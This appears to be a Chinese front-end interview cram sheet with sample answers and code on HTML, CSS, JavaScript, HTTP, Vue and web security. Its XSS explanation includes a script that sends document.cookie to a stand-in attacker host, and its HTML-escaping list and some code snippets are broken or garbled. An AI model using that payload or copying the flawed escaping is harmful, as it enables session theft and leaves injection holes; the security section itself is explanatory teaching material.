面试
纯应试向押题
套路
- 举例
- 将不会的变成会的
- 侃侃而谈
HTML 押题
- (必考) 你是如何理解 HTML 语义化的?
 第一种举例,段落用 p,边栏用 aside,主要内容用 main 标签
 第二种
 最开始是 PHP 后端写 HTML,不会 CSS,于是就用 table 来布局。table 使用展示表格的。严重违反了 HTML 语义化。
 后来有了专门的写 CSS 的前端,他们会使用 DIV + CSS 布局,主要是用 float 和绝对定位布局。稍微符合了 HTML 语义化。
 再后来,前端专业化,知道 HTML 的各个标签的用法,于是会使用恰当的标签来展示内容,而不是傻傻的全用 div,会尽量使用 h1、ul、p、main、header 等标签
 语义化的好处是已读、有利于SEO(搜索引擎优化)等。
 第三种:对面试官说请看我的博客 https://zhuanlan.zhihu.com/p/32570423
- meta viewport 是做什么用的,怎么写?
 死背:
 控制页面在移动端不要缩小显示。
 侃侃而谈
 一开始,所有页面都是给PC准备的,乔布斯推出 iPhone 3GS,页面是不适应手机屏幕的,所以乔布斯的工程师想了一个办法,默认把手机模拟成 980px,页面缩小。
 后来,智能手机普及,这个功能在部分网站不需要了,所以我们就用 meta:vp 让手机不要缩小我的网页。
- canvas 元素是干什么的?
 项目丢给他。
 看 MDN 的 canvas 入门手册。
CSS 押题
- (必考) 说说盒模型。
 举例:
 content-box: width == 内容区宽度
 border-box: width == 内容区宽度 + padding 宽度 + border 宽度
 (不管IE *{box-sizing:border-box}
- css reset 和 normalize.css 有什么区别?
 考英文:
 reset 重置,之前的样式我不要,a{color: red;},抛弃默认样式
 normalize 让所有浏览器的标签都跟标准规定的默认样式一致,各浏览器上的标签默认样式基本统一。
- (必考)如何居中?
 平时总结:- 水平居中:- 内联:爸爸身上写 text-align:center;
- 块级:margin-left: auto; margin-right: auto;
 
- 垂直居中: https://jscode.me/t/topic/1936
 
- 水平居中:
- 选择器优先级如何确定?- 选择器越具体,优先级越高。 #xxx 大于 .yyy
- 同样优先级,写在后面的覆盖前面的。
- color: red !important; 优先级最高。
 
- BFC 是什么?
 举例:- overflow:hidden 清除浮动。(方方总是用 .clearfix 清除浮动,坚决不用 overflow:hidden 清除浮动)
- overflow:hidden 取消父子 margin 合并。http://jsbin.com/conulod/1/edit?html,css,js,output (方方用 padding-top: 1px;)
 
- 如何清除浮动?- overflow: hidden (方方反对)
- .clearfix 清除浮动写在爸爸身上1 
 2
 3
 4
 5
 6
 7
 8.clearfix::after{ 
 content: '';
 display: block;
 clear:both;
 }
 .clearfix{
 zoom: 1; /* IE 兼容 */
 }
 
JS 押题
- JS 有哪些数据类型?
 string number bool undefined null object symbol
 object 包括了数组、函数、正则、日期等对象
 一旦出现(数组、函数、正则、日期、NaN)直接0分
- (必考) Promise 怎么使用? - then - 1 - $.ajax(...).then(成功函数, 失败函数) 
- 链式 then - 1 - $.ajax(...).then(成功函数, 失败函数).then(成功函数2, 失败函数2) - *如何自己生成 Promise 对象 - 1 
 2
 3
 4
 5
 6
 7
 8- function xxx(){ 
 return new Promise(function(resolve, reject){
 setTimeout(()=>{
 resolve() 或者 reject()
 },3000)
 })
 }
 xxx().then(...)
 
- (必考) AJAX 手写一下? - 1 
 2
 3
 4
 5
 6
 7
 8- let xhr = new XMLHttpRequest() 
 xhr.open('POST', '/xxxx')
 xhr.onreadystatechange = function(){
 if(xhr.readyState === 4 && xhr.status === 200){
 console.log(xhr.responseText)
 }
 }
 xhr.send('a=1&b=2')
- (必考)闭包是什么? - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- function createAdder(){ 
 var n = 0
 return function(){
 n += 1
 }
 }
 let adder = createAdder()
 adder() // n === 1
 adder() // n === 2
 console.log(n) // n is not defined
正确参考:https://zhuanlan.zhihu.com/p/22486908
- (必考)这段代码里的 this 是什么?- fn() 里面的 this 就是 window
- fn() 是 strict mode(严格模式),this 就是 undefined
- a.b.c.fn() 里面的 this 就是 a.b.c
- new F() 里面的 this 就是新生成的实例
- () => console.log(this) 里面 this 跟外面的 this 的值一模一样
 正确参考:https://zhuanlan.zhihu.com/p/23804247
 
- (必考)什么是立即执行函数?使用立即执行函数的目的是什么? - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- ;(function (){ 
 var name
 }())
 ;(function (){
 var name
 })()
 !!!!!!!function (){
 var name
 }()
 ~function (){
 var name
 }()- 造出一个函数作用域,防止污染全局变量 
 ES 6 新语法- 1 
 2
 3- { 
 let name
 }
- async/await 语法了解吗?目的是什么? - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14- function returnPromise(){ 
 return new Promise( function(resolve, reject){
 setTimeout(()=>{
 resolve('fuck')
 },3000)
 })
 }
 returnPromise().then((result)=>{
 result === 'fuck'
 })//异步写法
 var result = await returnPromise()
 result === 'fuck'//同步写法- 把异步代码写成同步代码。 
- 如何实现深拷贝? - JSON 来深拷贝 - 1 
 2- var a = {...} 
 var b = JSON.parse( JSON.stringify(a) )- 缺点:JSON 不支持函数、引用、undefined、RegExp、Date…… 
- 递归拷贝 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17- function clone(object){ 
 var object2
 if(! (object instanceof Object) ){
 return object
 }else if(object instanceof Array){
 object2 = []
 }else if(object instanceof Function){
 object2 = eval(object.toString())
 }else if(object instanceof Object){
 object2 = {}
 }
 你也可以把 Array Function Object 都当做 Object 来看待,参考 https://juejin.im/post/587dab348d6d810058d87a0a
 for(let key in object){
 object2[key] = clone(object[key])
 }
 return object2
 }
- 环 
- RegExp、Date、Set、Symbol、WeakMap
 
- 如何实现数组去重? - 计数排序的逻辑(只能正整数) - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- var a = [4,2,5,6,3,4,5] 
 var hashTab = {}
 for(let i=0; i<a.length;i++){
 if(a[i] in hashTab){
 // 什么也不做
 }else{
 hashTab[ a[i] ] = true
 }
 }
 //hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}
 console.log(Object.keys(hashTab)) // ['4','2','5','6','3']
- Set 去重 - 1 - Array.from(new Set(a)) 
- WeakMap 任意类型去重 
 
- 如何用正则实现 string.trim() ? - 1 
 2
 3- function trim(string){ 
 return string.replace(/^\s+|\s+$/g, '')
 }
- JS 原型是什么? 
 举例- var a = [1,2,3]
- 只有0、1、2、length 4 个key
- 为什么可以 a.push(4) ,push 是哪来的?
- a.proto === Array.prototype
- push 就是沿着 a.proto 找到的,也就是 Array.prototype.push
- Array.prototype 还有很多方法,如 join、pop、slice、splice
- Array.prototype 就是 a 的原型(proto)
- 参考:https://zhuanlan.zhihu.com/p/23090041
 
- ES 6 中的 class 了解吗?- 把 MDN class 章节看完
- 记住一个例子
 
- JS 如何实现继承?
- 原型链 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20- function Animal(){ 
 this.body = '肉体'
 }
 Animal.prototype.move = function(){
 }
 function Human(name){
 Animal.apply(this, arguments)
 this.name = name
 }
 // Human.prototype.__proto__ = Animal.prototype // 非法
 var f = function(){}
 f.prototype = Animal.prototype
 Human.prototype = new f()
 Human.prototype.useTools = function(){}
 var frank = new Human()
- extends 关键字 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14- class Animal{ 
 constructor(){
 this.body = '肉体'
 },
 move(){}
 }
 class Human extends Animal{
 constructor(name){
 super()
 this.name = name
 },
 useTools(){}
 }
 var frank = new Human()
相关题目直接反着答(放弃)
DOM 押题
- DOM 事件模型是什么?- 冒泡
- 捕获
- 如果这个元素是被点击的元素,那么捕获不一定在冒泡之前,顺序是由监听顺序决定的。
 
- 移动端的触摸事件了解吗?- touchstart touchmove touchend touchcancel
- 模拟 swipe 事件:记录两次 touchmove 的位置差,如果后一次在前一次的右边,说明向右滑了。
 
- 事件委托是什么?有什么好处?- 假设父元素有4个儿子,我不监听4个儿子,而是监听父元素,看触发事件的元素是哪个儿子,这就是事件委托。
- 可以监听还没有出生的儿子(动态生成的元素)。省监听器。1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24function listen(element, eventType, selector, fn){ 
 element.addEventListener(eventType, e=>{
 if(e.target.matches(selector)){
 fn.call(el, e, el)
 }
 })
 } // 有 bug 但是可以应付面试官的事件委托
 ------------------------------------------------------------
 function listen(element, eventType, selector, fn) {
 element.addEventListener(eventType, e => {
 let el = e.target
 while (!el.matches(selector)) {
 if (element === el) {
 el = null
 break
 }
 el = el.parentNode
 }
 el && fn.call(el, e, el)
 })
 return element
 } // 工资 12k+ 的前端写的事件委托
 listen(ul, 'click', 'li', ()=>{})
 ul>li*5>span
 
HTTP 押题
- HTTP 状态码知道哪些?
- 301 和 302 的区别是什么?- 301 永久重定向,浏览器会记住
- 302 临时重定向
 
- HTTP 缓存怎么做?- Cache-Control: max-age=300
- http://cdn.com/1.js?v=1 避开缓存
 
- Cache-Control 和 Etag 的区别是什么?
 Cache-Control 直接不发请求。而 ETag 要发请求才行。
- Cookie 是什么?Session 是什么?- Cookie- HTTP响应通过 Set-Cookie 设置 Cookie
- 浏览器访问指定域名是必须带上 Cookie 作为 Request Header
- Cookie 一般用来记录用户信息
 
- Session- Session 是服务器端的内存(数据)
- Session 一般通过在 Cookie 里记录 SessionID 实现
- SessionID 一般是随机数
 
 
- Cookie
- LocalStorage 和 Cookie 的区别是什么?- Cookie 会随请求被发到服务器上,而 LocalStorage 不会
- Cookie 大小一般4k以下,LocalStorage 一般5Mb 左右
 
- (必考)GET 和 POST 的区别是什么?- 参数。GET 的参数放在 url 的查询参数里,POST 的参数(数据)放在请求消息体里。
- 安全(扯淡)。GET 没有 POST 安全(都不安全)
- GET 的参数(url查询参数)有长度限制,一般是 1024 个字符。POST 的参数(数据)没有长度限制(扯淡,4~10Mb 限制)
- 包。GET 请求只需要发一个包,POST 请求需要发两个以上包(因为 POST 有消息体)(扯淡,GET 也可以用消息体)
- GET 用来读数据,POST 用来写数据,POST 不幂等(幂等的意思就是不管发多少次请求,结果都一样。)
 
- (必考)怎么跨域?JSONP 是什么?CORS 是什么?postMessage 是什么?- JSONP
- CORS
- postMessage 看一下 MDN
 
Vue 押题
- (必考)Vue 有哪些生命周期钩子函数?
 看文档:https://cn.vuejs.org/v2/api/#%E9%80%89%E9%A1%B9-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%92%A9%E5%AD%90
- (必考)Vue 如何实现组件通信?- 父子通信(使用 Prop 传递数据、使用 v-on 绑定自定义事件)
- 爷孙通信(通过两对父子通信,爷爸之间父子通信,爸儿之间父子通信)
- 兄弟通信(new Vue() 作为 eventBus)
 
- Vuex 的作用是什么?
 看文档、博客 https://vuex.vuejs.org/zh-cn/intro.html
- VueRouter 路由是什么?
 看文档、博客
- Vue 的双向绑定是如何实现的?有什么缺点?
 看文档,深入响应式原理
- Computed 计算属性的用法?跟 Methods 的区别。
 https://zhuanlan.zhihu.com/p/33778594
算法押题
- 排序算法(背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序)
- 二分查找法
- 翻转二叉树
把上面三个背一下,算法题必过。
安全押题
- 什么是 XSS 攻击?如何预防? - 举例 - 1 
 2- div.innerHTML = userComment // userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script> 
 // 恶意就被执行了,这就是 XSS
- 预防 - 不要使用 innerHTML,改成 innerText,script 就会被当成文本,不执行
- 如果你一样要用 innerHTML,字符过滤- 把 < 替换成 <
- 把 > 替换成 >
- 把 & 替换成 &
- 把 ‘ 替换成 '
- 把 ‘ 替换成 "
- 代码 div.innerHTML = userComment.replace(/>/g, ‘<’).replace…
 3.. 使用 CSP Content Security Policy
 
- 把 < 替换成 
 
 
- 什么是 CSRF 攻击?如何预防?- 过程- 用户在 qq.com 登录
- 用户切换到 hacker.com(恶意网站)
- hacker.com 发送一个 qq.com/add_friend 请求,让当前用户添加 hacker 为好友。
- 用户在不知不觉中添加 hacker 为好友。
- 用户没有想发这个请求,但是 hacker 伪造了用户发请求的假象。
 
- 避免- 检查 referer,qq.com 可以拒绝来自 hacker.com 的请求
- csrf_token 来解决
 
 
- 过程
Webpack 题
- 转译出的文件过大怎么办?- 使用 code split
- 写法 import(‘xxx’).then(xxx=>{console.log(xxx)})
- xxx 模块就是按需加载的
 
- 转译速度慢什么办?
 方方不会。
- 写过 webpack loader 吗?
 http://www.alloyteam.com/2016/01/webpack-loader-1/
发散题
- 从输入 URL 到页面展现中间发生了什么? - DNS 查询 DNS 缓存
- 建立 TCP 连接(三次握手)连接复用
- 发送 HTTP 请求(请求的四部分)
- 后台处理请求- 监听 80 端口
- 路由
- 渲染 HTML 模板
- 生成响应
 
- 发送 HTTP 响应
- 关闭 TCP 连接(四次挥手)
- 解析 HTML
- 下载 CSS(缓存
- 解析 CSS
- 下载 JS(缓存
- 解析 JS
- 下载图片
- 解析图片
- 渲染 DOM 树
- 渲染样式树
- 执行 JS
 
- 你没有工作经历吗? - 一开始就问,可以拜拜。
- 中间问最后问,他想压价。
- 解法:用项目打动它:你看下我的作品,跟一年经验的前端差距大吗?你们团队一年工作经验的前端,写的出来我这样的作品吗?凭我的作品,我觉得我可以胜任贵司的工作。
 
- 你遇到过最难的问题是什么? 
 https://www.zhihu.com/question/35323603/answer/338796153
- 你的期望薪资是多少? 
 你想要的工资 加 1000~2000。
- (任何你不会的问题)- 承认不会
- 询问详细细节:你问的是不是XXX方面的知识?请问你想问的是哪方面知识?
- 根据面试官的回答,向有利于自己的方向引导话题。
 
刁钻代码题
- map加parseInt - 1 
 2
 3
 4
 5- [1,2,3].map(parseInt) 
 parseInt(1,0, array) // 1
 parseInt(2,1, array) // NaN
 parseInt(3,2, array) // NaN
- a.x = a = {} - 1 
 2
 3- var a = {n:1}; 
 var b = a;
 a.x = a = {n:2};
问 a.x 是多少?//undefined
- (a ==1 && a== 2 && a==3) 可能为 true 吗?1 
 2
 3
 4
 5
 6
 7a = { 
 value: 0,
 toString(){
 a.value += 1
 return a.value
 }
 }
Comments